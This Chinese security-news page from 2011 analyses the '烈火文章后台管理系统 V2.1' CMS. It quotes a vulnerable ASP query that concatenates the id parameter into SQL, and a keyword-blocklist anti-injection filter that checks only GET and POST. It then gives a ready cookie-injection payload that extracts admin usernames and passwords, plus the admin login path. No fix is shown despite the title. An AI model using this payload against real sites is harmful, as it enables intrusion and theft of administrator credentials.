知识屋:更实用的电脑技术知识网站
所在位置:首页 > 网络安全 > 安全资讯

烈火文章后台管理系统V2.1漏洞及修复

发布时间:2011-04-29 12:43:39作者:知识屋

今天无聊就找了个简单的系统来分析学习
首先打开article.asp见如此语句dim sql_injdata
</TR></TBODY></TABLE></TD>
<TD vAlign=top align=middle width=1 bgColor=#cccccc></TD>
<TD vAlign=top align=middle width=592 bgColor=#ffffff>
<%
set rs=conn.execute("select * from article where id="&request("id"))%>完全用request接收
<TABLE cellSpacing=0 cellPadding=6 width="96%" border=0>
<TBODY>
<TR>
<TD class=xx vAlign=bottom height=30>■ <%=rs("classname")%> >
<%=rs("title")%></TD>
</TR></TBODY></TABLE>
随即看上内容
<!--#include file="admin/Check_SqlIn.asp"-->
直接打开Check_SqlIn.asp
<%
'SQL通用防注入程序,只需要在conn.asp之类的打开数据库文件之前引用这个页面即可

SQL_injdata ="'|and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare"
SQL_inj = split(SQL_Injdata,"|")
If Request.QueryString<>"" Then
For Each SQL_Get In Request.QueryString
For SQL_Data=0 To Ubound(SQL_inj)
if instr(Request.QueryString(SQL_Get),Sql_Inj(Sql_DATA))>0 Then
Response.Write "<Script Language=JavaScript>alert('提示:请不要在参数中包含非法字符尝试注入!');history.back(-1)</Script>"
Response.end
end if
next
Next
End If
If Request.Form<>"" Then
For Each Sql_Post In Request.Form
For SQL_Data=0 To Ubound(SQL_inj)
if instr(Request.Form(Sql_Post),Sql_Inj(Sql_DATA))>0 Then
Response.Write "<Script Language=JavaScript>alert('提示:请不要在参数中包含非法字符尝试注入!');history.back(-1)</Script>"
Response.end
end if
next
next
end if
%>
很明显只是过滤get和post
存在cookies注入
付上exp
javascript:alert(document.cookie="id="+escape("95 and 1=2 union select 1,2,3,user,5,6,password,8,9,10,11,12,13,14 from admin"));
后台admin/admin_login.asp

(免责声明:文章内容如涉及作品内容、版权和其它问题,请及时与我们联系,我们将在第一时间删除内容,文章内容仅供参考)
收藏
  • 人气文章
  • 最新文章
  • 下载排行榜
  • 热门排行榜